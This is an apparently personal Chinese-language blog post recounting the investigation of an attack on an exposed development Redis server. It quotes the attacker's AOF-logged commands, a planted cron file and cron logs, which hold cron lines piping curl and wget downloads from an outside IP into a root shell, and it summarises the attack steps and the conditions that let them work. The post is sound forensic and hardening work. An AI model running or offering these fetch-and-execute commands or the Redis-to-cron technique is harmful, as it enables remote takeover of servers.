记一次redis攻击排查
Oct 15, 2020
· 1 min read
排查过程
- 开发环境redis key反复丢失
- 启用aof持久化方式,记录每一个写命令,重启redis服务器
- redis key再次丢失
- 查看aof文件内容
- 排查导致key被删除的命令,del无,出现flushall
- 查看flushall周边命令
1 $8
2 flushall
3 *3
4 $3
5 set
6 $2
7 r1
8 $51
9
10
11 * * * * * root curl -fsS 94.237.85.89:8080/0|sh
12
13
14 *3
15 $3
16 set
17 $2
18 r2
19 $51
20
21
22 * * * * * root wget -qO- 94.237.85.89:8080/0|sh
23
24
25 *1
26 $8
27 flushall
- 外部客户端连接到了redis执行恶意命令,类似于https://github.com/redis/redis/issues/3594
- 检查crontab列表
没发现定时任务,检查cron默认读取的目录文件:
1ll /etc/cron.d
2total 12
3-rw-r--r--. 1 root root 128 Mar 31 2016 0hourly
4-rw------- 1 root root 235 Nov 6 2016 sysstat
5-rw-r--r-- 1 root root 209 Oct 15 12:35 systemdd
systemdd
这个文件今天更新过
1REDIS0009� redis-ver5.0.5�
2redis-bits�@�ctimeч_used-mem��H�
3 aof-preamble���r23
4
5* * * * * root wget -qO- 94.237.85.89:8080/0|sh
6
7r13
8
9* * * * * root curl -fsS 94.237.85.89:8080/0|sh
10
11��D��6-�
乱码中看到了熟悉的“面孔”,果断删除文件。
- 检查crontab日志
1tail -f /var/log/cron
2Oct 15 15:40:01 sophonsitapp13 CROND[648]: (root) CMD (curl -fsS 94.237.85.89:8080/0|sh)
3Oct 15 15:40:01 sophonsitapp13 CROND[647]: (root) CMD (wget -qO- 94.237.85.89:8080/0|sh)
还在每分钟执行一次,重启进程:
1systemctl start crond.service
- redis安全加固
攻击方式总结
- 连接到暴露在公网的redis
- 清空数据库
- 设置cron文件名称
- 设置定时任务
- 数据库写文件
- 清空数据库
攻击生效的条件
- 以root用户运行redis
- redis暴露公网且无密码
- 使用了默认的6379
- 允许执行FLUSHALL CONFIG SET SAVE等命令
参考